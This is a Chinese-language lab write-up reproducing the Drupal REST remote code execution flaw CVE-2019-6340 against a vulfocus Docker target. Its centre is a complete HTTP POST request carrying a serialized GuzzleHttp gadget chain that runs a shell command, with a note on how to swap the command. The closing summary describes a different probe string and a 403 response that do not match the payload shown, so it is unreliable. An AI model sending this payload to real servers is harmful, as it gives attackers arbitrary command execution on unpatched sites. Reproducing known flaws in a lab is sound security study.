Drupal 远程代码执行 CVE-2019-6340 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 修复建议
- 总结
漏洞名称
漏洞描述
Drupal是一个开源且以PHP语言写成的内容管理框架(CMF) 研究人员发现Drupal存在安全漏洞(CVE-2019-6340),当攻击者以PATCH或POST方式传送RESTful Web资料时,Drupal并未对资料进行严格的检查,进而导致执行任意PHP程式码。
影响版本
Drupal 8.6.x
Drupal <8.6.10
Drupal <8.5.11
漏洞复现
环境搭建
受害者IP:192.168.63.129:57473
攻击者IP:192.168.63.1
vulfocus下载链接
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
启动vulfocus
docker-compose up -d
环境启动后,访问http://192.168.63.129:57473即可看到一个 Drupal页面,说明已成功启动。
替换payload,执行命令id。
POST /node/?_format=hal_json HTTP/1.1
Host: 漏洞的ip:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection: keep-alive
Content-Type: application/hal+json
Accept: */*
Cache-Control: no-cache
Content-Length: 636{"link": [{"value": "link","options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links": {"type": {"href": "http://漏洞的ip:端口/rest/type/shortcut/default"}}
}
更换payload,需要更换两个位置。
在黄色的后面是执行命令的结果
修复建议
1、
Drupal 多个安全漏洞的补丁-升级至最新版本9.4.8
https://www.drupal.org/project/drupal/releases/9.4.8
总结
在请求体中使用了GuzzleHttp库的FnStream类和HandlerStack类,这两个类在正常情况下是用于处理HTTP请求的,但在这里被恶意利用来执行攻击者的代码。攻击者在HandlerStack类的handler属性中插入了pbtw%%rxtx
,试图输出pbtw%rxtx
字符串。如果攻击成功,则响应状态码为403,响应头中将出现pbtw%rxtx
字样。